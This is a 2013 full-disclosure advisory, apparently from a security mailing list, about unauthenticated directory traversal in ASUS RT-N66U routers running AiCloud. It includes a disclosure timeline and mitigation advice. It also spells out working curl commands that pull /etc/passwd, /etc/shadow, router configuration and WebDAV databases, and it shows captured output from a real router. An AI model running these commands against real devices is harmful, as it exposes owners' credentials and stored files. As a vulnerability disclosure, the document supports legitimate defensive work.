Vulnerable product: ASUS RT-N66U when HTTPS WebService via AiCloud is enabled (AC66R and RT-N65U are effected as well, but need more testing) Vulnerabilities: - Linux 2.6.22 - Researched on both 3.0.0.4.270 and 3.0.0.4.354 firmware - Full directory traversal and plain text disclosure of all sensitive files, including /passwd and /shadow - Full access to webdav.db and smbdav.db - Ability to traverse to any external storage plugged in through the USB ports on the back of the router Not fully confirmed but seen in several tests and are probable: - Uploading of malicious java script into the Smart sync folder, which is then sent to the host when they preform their scheduled sync - Ability to often alter iptables, dns, firewall settings and many other configurations without authentication Likely but need additional testing: (needed to list this because the potential for an attacker to gain a pptp tunnel to an extremely large numbers of routers, is quite possible and extremely dangerous) - Ability to change or alter configuration files normally only changed through the GUI web admin console - Ability to enable VPN service with pptp (Needs far more testing) - Suppress logging through disabling a configuration switch Timeline: - Contacted Asus two weeks ago (under my online handle account) around 06/06 - Second email send on 06/10 when discovered first un-authenticated file disclosure - Received only one response back stating it was not an issue - Sent a third email on 06/14 - Only response received was an acknowledgement that my email was received - Attempted to call their development or incident team, and was told that someone would call me back on 06/17 - Sending another email today under my real name The vulnerability is that on many, if not on almost all N66U units that have enabled https web service access via the AiCloud feature, are vulnerable to un-authenticated directory traversal and full sensitive file disclosure. Any of the AiCloud options "Cloud Disk" "Smart Access" and "Smart Sync"(need another verification on this one) appear to enable this vulnerability. When AiCloud is enabled, web access is defaulted to port 443 and content streaming to http port 8082. Depending on numerous configuration factors and which firmware version that is used, the directory structure, and what files are disclosed when bypassing authentication varies. Both ports will disclose the information, port 8082 being of the most concern since, for now, the web access via mini_httpd port 80, is not as vulnerable to directory traversal. More urgent testing needs to be done here. HTTPS uses lighttpd v 1.429. The UPnP bug concerning the exposed "hidden" $root samba share, which allows simple wget commands to grab 4 sensitive XML's is already well known. http://seclists.org/fulldisclosure/2013/Mar/126 The $root share is part of the problem, however, UPnP does not need to be enabled for the vulnerability to be active. Using basic cURL commands, all sensitive information can be obtained given the right directory path. Credit for finding this bug, or at least I think it was them, are the folks at http://www.websecuritywatch.com/ I'm sure he will confirm the difficulty in dealing with ASUS. ex: (-v is helpful to see that SSL allows bypass of authentication, even when it recognized a bogus cert is being used) -e is optional, but on a few settings, putting it to 192.168.1.1 allows for bypass --cacert any fake .pem file to 192.168.1.1 will work, and often this marker is optional cURL -v https://<IP>/smb/tmp/lighttpd.conf -k -L --cacert fake.pem -e http://192.168.1.1 Once I found this conf file, along with parsing the DOM bindings using firebug on the HTTPS AiCloud login page, I was able to piece together the directory structure. It is important enough to post here. root@Qanan:~# curl https://208.xxx.xx.xxx/smb/tmp/lighttpd.conf -k -L --cacert ASUS.pem * About to connect() to 208.xxx.xx.xxx port 443 (#0) * Trying 208.xxx.xx.xxx... * connected * Connected to 208.xxx.xx.xxx (208.xxx.xx.xxx) port 443 (#0) * successfully set certificate verify locations: * CAfile: ASUS.pem CApath: /etc/ssl/certs * SSLv3, TLS handshake, Client hello (1): * SSLv3, TLS handshake, Server hello (2): * SSLv3, TLS handshake, CERT (11): * SSLv3, TLS handshake, Server key exchange (12): * SSLv3, TLS handshake, Server finished (14): * SSLv3, TLS handshake, Client key exchange (16): * SSLv3, TLS change cipher, Client hello (1): * SSLv3, TLS handshake, Finished (20): * SSLv3, TLS change cipher, Client hello (1): * SSLv3, TLS handshake, Finished (20): * SSL connection using ECDHE-RSA-AES256-SHA * Server certificate: * subject: C=US; CN=192.168.1.1 * start date: 2009-12-31 04:48:00 GMT * expire date: 2020-01-01 16:48:00 GMT * common name: 192.168.1.1 (does not match '208.xxx.xx.xxx') * issuer: C=US; CN=192.168.1.1 * SSL certificate verify result: self signed certificate (18), continuing anyway. > GET /smb/tmp/lighttpd.conf HTTP/1.1 > User-Agent: curl/7.26.0 > Host: 208.xxx.xx.xxx > Accept: */* > * additional stuff not fine transfer.c:1037: 0 0 * HTTP 1.1 or later with persistent connection, pipelining supported < HTTP/1.1 200 OK < Set-Cookie: TRACKID=1897c94fe988c0d5286365535b523218; Path=/; Version=1 < Content-Type: application/x-octet-stream < Accept-Ranges: bytes < ETag: "2224271715" < Last-Modified: Sat, 01 Jan 2011 00:00:14 GMT < Content-Length: 3473 < Date: Wed, 19 Jun 2013 22:49:32 GMT < Server: lighttpd/1.4.29 < DDNS: xxxxxxx.asuscomm.com < server.modules+=("mod_alias") server.modules+=("mod_userdir") server.modules+=("mod_aidisk_access") server.modules+=("mod_sharelink") server.modules+=("mod_create_captcha_image") server.modules+=("mod_webdav") server.modules+=("mod_smbdav") server.modules+=("mod_redirect") server.modules+=("mod_compress") server.modules+=("mod_usertrack") server.modules+=("mod_rewrite") server.modules+=("mod_access") server.modules+=("mod_auth") server.port=8082 server.document-root="/tmp/lighttpd/www" server.upload-dirs=("/tmp/lighttpd/uploads") server.errorlog="/tmp/lighttpd/err.log" server.pid-file="/tmp/lighttpd/lighttpd.pid" server.arpping-interface="br0" server.errorfile-prefix="/usr/css/status-" dir-listing.activate="enable" server.syslog="/tmp/lighttpd/syslog.log" mimetype.assign = ( ".html" => "text/html", ".htm" => "text/html", ".css" => "text/css", ".js" => "text/javascript", ".swf" => "application/x-shockwave-flash", "" => "application/x-octet-stream") index-file.names = ( "index.php", "index.html", "index.htm", "default.htm", " index.lighttpd.html" ) url.access-deny = ( "~", ".inc" ) static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) compress.cache-dir = "/tmp/lighttpd/compress/" compress.filetype = ( "application/x-javascript", "text/css", "text/html", "text/plain" ) $SERVER["socket"]==":8082"{ $HTTP["url"]=~"^/RT-N66U($|/)"{ server.document-root = "/" alias.url=("/RT-N66U"=>"/mnt") webdav.activate="enable" webdav.is-readonly="disable" webdav.sqlite-db-name="/tmp/lighttpd/webdav.db" } else $HTTP["url"]=~"^/smb($|/)"{ server.document-root = "/" alias.url=("/smb"=>"/usr") smbdav.auth_ntlm = ("Microsoft-WebDAV","xxBitKinex","WebDrive") webdav.activate="enable" webdav.is-readonly="disable" } else $HTTP["url"] =~ "^/favicon.ico$"{ server.document-root = "/" alias.url = ( "/favicon.ico" => "/usr/css/favicon.ico" ) webdav.activate = "enable" webdav.is-readonly = "enable" } else $HTTP["url"] !~ "^/smb($|/)" { server.document-root = "smb://" smbdav.activate = "enable" smbdav.is-readonly = "disable" smbdav.always-auth = "enable" smbdav.sqlite-db-name = "/tmp/lighttpd/smbdav.db" usertrack.cookie-name = "SMBSESSID" } } $SERVER["socket"]==":443"{ ssl.pemfile="/tmp/lighttpd/server.pem" ssl.engine="enable" $HTTP["url"]=~"^/RT-N66U($|/)"{ server.document-root = "/" alias.url=("/RT-N66U"=>"/mnt") webdav.activate="enable" webdav.is-readonly="disable" webdav.sqlite-db-name="/tmp/lighttpd/webdav.db" } else $HTTP["url"]=~"^/smb($|/)"{ server.document-root = "/" alias.url=("/smb"=>"/usr") smbdav.auth_ntlm = ("Microsoft-WebDAV","xxBitKinex","WebDrive") webdav.activate="enable" webdav.is-readonly="disable" } else $HTTP["url"] =~ "^/favicon.ico$"{ server.document-root = "/" alias.url = ( "/favicon.ico" => "/usr/css/favicon.ico" ) webdav.activate = "enable" webdav.is-readonly = "enable" } else $HTTP["url"] !~ "^/smb($|/)" { server.document-root = "smb://" smbdav.activate = "enable" smbdav.is-readonly = "disable" smbdav.always-auth = "enable" smbdav.sqlite-db-name = "/tmp/lighttpd/smbdav.db" usertrack.cookie-name = "SMBSESSID" } } debug.log-request-header="disable" debug.log-response-header="disable" debug.log-request-handling="disable" debug.log-file-not-found="disable" debug.log-condition-handling="disable" * Connection #0 to host 208.xxx.xx.xxx left intact * Closing connection #0 * SSLv3, TLS alert, Client hello (1): Right now, <IP>/smb/ are the gateway to all the directories discovered to date. However, it doesn't appear that Samba itself needs to be active for this vulnerability to be enabled. More importantly are the other "hidden" shares, namely $dir. As you can see above, this file disclosure gives most attackers what they need in terms of directory structure information. Though it very important to note that the following are dependent on configuration and firmware, and can be found in different directories or may have different file names. Additional cURL command lines that expel extremely sensitive information: (Port 8082 http output needs more testing) curl -v https://<IP>/smb/sbin/sysinfo -k -L curl -v https://<IP>/smb/tmp/etc/passwd -k -L curl -v https://<IP>/smb/tmp/etc/shadow -k -L curl -v https://<IP>/smb/tmp/opt/etc/asus_lighttpdpassword -k -L (in some cases) These two, when parsed to the different uhref's listed offer a huge array of directory choices. i.e. /etc /bin /var /opt Sometimes the output it verbose, sometimes not. On some configs, $root and $dir are dead ends, and the information can be found only through /smb/tmp/. curl -v https://<IP>/smb/tmp/$dir/ -k -L curl -v https://<IP>/smb/tmp/$root/ -k -L These databases can usually be snagged via wget: /tmp/lighttpd/webdav.db /tmp/lighttpd/smbdav.db Interesting and needs further investigation: - In many cases, an attacker could easily just use a simple web browser and point to https://<IP>/smb/bin and gain full access by only having to accept the untrusted cert. -SQLite3 injections when placed in many of the various boxes in the console itself seems to be accepted without an error. Have not tested malicious injections nor database alterations. XSS basic alert commands when encoded didn't seem to cause many issues either, but needs far more testing. -FTP and how it's directory structure, usually seen appended href="/foo/../", interacts with Samba services. I also noticed an extremely high number of public FTP sites with anonymous access, opening up whatever is plugged into the router. There very well might be a bug that cause the FTP service to start without the knowledge of the end user. (Not proven, only speculation, but hard to fathom 15K+ people willingly putting their backup external hard drives out for the public. -DDNS has several potential flaws that need to be examined. One odd thing is if end users do not choose a *.asuscomm.com DDNS, they still have a hidden one, which is an MD5 hash. I think, from my testing, that the web admin console port 80 might be vulnerable to directory traversal through this feature. (Speculation, not proven) -UPnP remote commands to change services - Self signed certs are worthless, and I'm not sure why a better solution wasn't put in place if they were going to authenticate to asuscomm services. - Effect Right now, from what I can see from other surveys, more than 40,000 routers could be at potential risk. If proven that web admin access or remote command alterations can be gained through the HTTPS vulnerability, then I feel this could be a highly dangerous problem because of the VPN service. If http port 80 web admin console is found vulnerable, without HTTPS AiCloud being active, the number of routers effected goes upwards of 100k+. I believe that the FTP access is already being exploited, and feel confident that others have most likely found this directory traversal bug as well. Mitigation and temporary fixes: - Users need to be alerted to turn off AiCloud service immediately - All Web access to both the http and https need to be halted until proven safe - UPnP services need to be turned off (I'd say that a safe bet is for all home routers to turn it off) - Disable FTP and Samba services until the problem is fully understood/patched if possible - Enable the built in firewall, change authentication to be MD5 hashed - CHANGE THE DEFAULT USERNAME AND PASSWORD!!!! - End Users should try to avoid using the default gateway of 192.168.1.1 and pick something unusual - Turn off IPSEC, PPTP and the other NAT passthroughs if the VPN is not explicitly being utilized - Upgrade to third party firmware, which appears from a few reports to be immune to some extent (not proven or tested) I was hesitant about posting so much information on this matter, but felt that if this vulnerability is proven by others as true, the dangers with the VPN are not negligible. Having access to people's backup of their smart phones and C: drives is beyond troubling. I hope I am wrong, and this is just a big mistake. Any questions, fire away. Thanks, Kyle
